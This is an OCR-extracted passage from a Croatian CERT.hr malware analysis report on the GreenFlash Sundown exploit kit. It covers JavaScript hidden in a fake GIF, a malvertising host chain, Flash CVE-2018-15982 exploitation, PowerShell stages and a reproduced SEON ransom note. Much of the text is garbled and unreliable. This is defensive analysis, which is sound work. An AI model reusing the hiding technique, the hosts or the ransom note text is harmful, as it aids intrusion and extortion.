00000010 00 21 F9 04 00 00 'a
00000018 00 2C 00 00 00 01 e
00000020 00 01 00 02 02 44 01 ...... D
00000028 2E 3B 2A 2F 3D 22 70 77 .;*/="pw
00000030 €E 65 €4 22 3B 20 61 6C ned"; al
00000038 €5 72 74 28 22 7A 6C 6F ert("zlo
00000040 €E €1 €D €A 65 72 6E €° namjerni
00000048 20 6B 6F €4 22 29 3B | kod") ;|

Ol EEA E EAI *AOA3AOEDO EEA

2) Steganogra$ki sakrivenkEd unutar O A A @ slilkeE

5 1 OTE OAET EAEh OIEEA j1P0O8 ')& AAOI OAEAQ

JavaScriptked, ali je u nAT T 1 OATAL L. A & B HEpakisdkévenl zlonamjerni

JavaScriptked. + T A 1T LA AEOE EAATT OOAOTT nUAI EEAE
AEO I TLA AEOE OAEOEOAT E O EU

sofisticiranE EAT O1 Oé A i X
i AUEOT AlaA©l OAE

/ 61 i OAETEEI] |
zato potreban vanjski EA E1 EE ¢
rekonstruirati te pokrenuti sakriveni k Ed.

5 ETTEOAOT T 1 épldhé&ith GréenFAlaghEsdndolydavaScripkEd sakriven je
jednostavnim dodavanjem lEda na kraj GIF datoteke) PAEh OAEOEOAT E ET A |
AT Al EUA 1 Andp@d)epdsu fazné tEahsformacije kako bi Ed i dalje bio valjan,

OE8 EAET AE CA xAA DPOACI AATEE UT AT ET OAODPOAC
kKEAA AEI T Ul AOT bbfusedtibnlzhdg Fofale izralnh gnblidgé E O A kEdaA |

AET A 1 OR DAL Rahalizbni je ustavijeno dazlonamjerni oglas u pozadiniH AT E A

HTTP zahtjev zadohvat web stranicana kojima je pohranjen exploit kit (15). Na slici1l
DOEEAUAT EA 1 OALTE DBOT I daoit KitAGrdeaFagh/Siindo@dE EAET |

Host  URL Body Commeants
www.onlinevideoconverter.com /youtube-converter 50,171 Compromised site
ads.onlinevideoconverter.com  /wwwi/delivery/ajs.php?zoneid=18ch=82542670449... 5,365 Compromised site

ads.onlinevideoconverter.com  fwww/delivery/lg.php?bannerid =08&campaignid=08z... 4,871 Fake GIF

fastimage.site  /act_image.html 136,683 Pre-filer

fastimage.site [act_image.htmi?mercy=FdMzpfikLihAnNPppGIucrCH... 2,900 Pre-filter

fastimage.site  /uptime.js 3,023 Pre-filer

adsfast.site  /crossdomain.xm GreenFlash Sundown EK (

adsfast.site  /index.php 2,941 GreenFlash Sundown EK
accomplishedsettings.cdn-cloud.club  /crossdormain.xmi 279 (01) GreenFlash Sundown
accomplishedsettings.cdn-cloud.club  /index.php 4,849 (02) GreenFlash Sundown
accomplishedsettings.cdn-cloud.club  /index.php 9,372 (03) GreenFlash Sundown

accomplishedsettings.cdn-cloud.cub  /index.php?58f3d135=AwNtoIFIVMISIVpwiB6cWS... 102,211 (04) GreenFlash Sundown
accomplishedsettings.cdn-cloud.club  /index.php?58f3d135=AwWNtoINFIVMISIVpwIB6CWSE... 64,835 (05) GreenFlash Sundown

Slika1l1- OALT E DOI T A0 CAT AOE ok kita GEeénhlash Sundowh@AAA A gD

. AETT TAETIEET DOAOOI HAOADADAWBI B E@EEO AGAITATA

E U O O ExAl@itAlako je exploit kit OEAOT EAOT T OAAANORYHBIGEAET 1 E

Verzija1.00 CERThr-PUBDOCG2019-10-389 stranica 17,/ 24



C=RT.hr

otkriveno je da se u kampanji koja se odvijala u lipnju koristiexploit za ranjivost dodatka
pregledniku Adobe FlashPlayer poznatu pod identifikatorom CVE2018-15982 (17).
Navedeniexploiti T L A T AP A Adotie FlasiPlayeri3A.8.0.153/31.0.0.108i starije,

OE8 [T LA 1TAPAOOE ET A¢éEAA YEOEAADEAMORORE KA v DA E
ITTTCOcEIT EA TAPAAAEé O EEA OIOMAIOAD GAISPIOT GBAOOT Al
Jednom kada jexploitkitt AEHAT T A OAT EEOO L,&pdijel EPEDEE OEO
efektivno AAT 1 T Cc@agEiUiO@bbledbel A’ LOOOET 1.6 DAEDIT A1 O¢ AE
explotEA AET DOEDOAI T EAT O AFoiverShdhaedb@udgoreddid 1 A OE O
O OATE¢EETTI OF AEé AE AT prikazathina slici 2. Brika@dna raredda £0OA O
je zatim preuzela drugu, H E /£0 EG AlTiORd&erShellnaredbu koja je radila dodatne

provjere prije instalacije zlonamjernog softvera. Konkretno, navedenge naredba
proviecravala EUOOHEBEOOA O1 OOAO OEOOOAITTT C OAéOT Al An
OAéOT Al T j EAO EA EUOGOEH AG®MAE EIAATOA OAOIAKDO /O EIOORAE A

T EEA OI AE é AEsAdtah zaau@@dishuhanalzd ifi sigurnosni AT A1 EOEEéAO E
P EOHAOA 1efpbiOt OrikcioBir)E |

r {param($vi
th; ) {f

Slika 12 PowerShelll AOAAAA Ei EA OA EUOOHRAOA 1 AETT (BPDEARATT C E
Ako jeexploit kit, kombinacijom PowerShelkEdaikEAA T A ET 1T OOI 1111 BT Ol ¢
commandand-control serve), T A1 OéET 1T A OAI Al EO DPOEEODPI EATE

Ol 60AO0 ET EA OA EUOOHAOA DOEE O Addoranai®@PEON.T AOOA ¢
zaEl EAGEATO ETAHEIAOED ADE SIAIBOOEEBHNAT A EA OAEAI
ETEO EA L OOGhsdbmwaréSBAN O1 EAT

E

mp
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Bl SEON Ransomuware ver. 02

ALL YOUR PERSONAL FILES HAVE BEEN ENCRYPTED!

All your documents, photos, databases and other important files have been encrypted and you can't decrypt it yourself. No one but us can return your files. Free decryption util
with its unique key, cryptography based on elliptic curves, key recovery is impossible.

Focus on the problem, follow your instructions and everything will be fine. DON'T PANIC! YOU CAN RETURN ALL YOUR FILES!

FREE decrypting as guarantee

You can test decryption 1 any file for free (with help our specil software "SEON Decryptor”).

What to do?
First you should write me and il send you a special software "SEON Decryptor” (this software needed to decrypt encrypted fies)
To start the process of decrypting ALL fies, you need buy key to the "SEON Decryptor”

Contacts

E-Mal: seonunlock@protonmail.com

E-Mail seonunlockénaver.com

Attention!

= Decryption keys are individual, the keys of other users wil not work for you
= Do not try to decrypt files with third party tools, this can lead to data loss

= Do not try to reinstall operation system on your computer

Sika135 AEAT EEOAEEA DI OOEAUSHPAT OT I xAOAA 3%/ .
Ransomwareje obavljao i niz ostalih aktivnosti, prikazanih u batch skripti na slici 14, A
poput brisanjaD OE ¢ GEOTEEEEEA EAET AE LOOOE Dlipaéakdl 11 A

korisnika spywareomPony izlonamjernim softverom za rudarenjekriptovaluta (15).

Slika14" AOAE OEOEDPOA UA AOEOAT EA DPOEéOOI BB EI PEEA EITE
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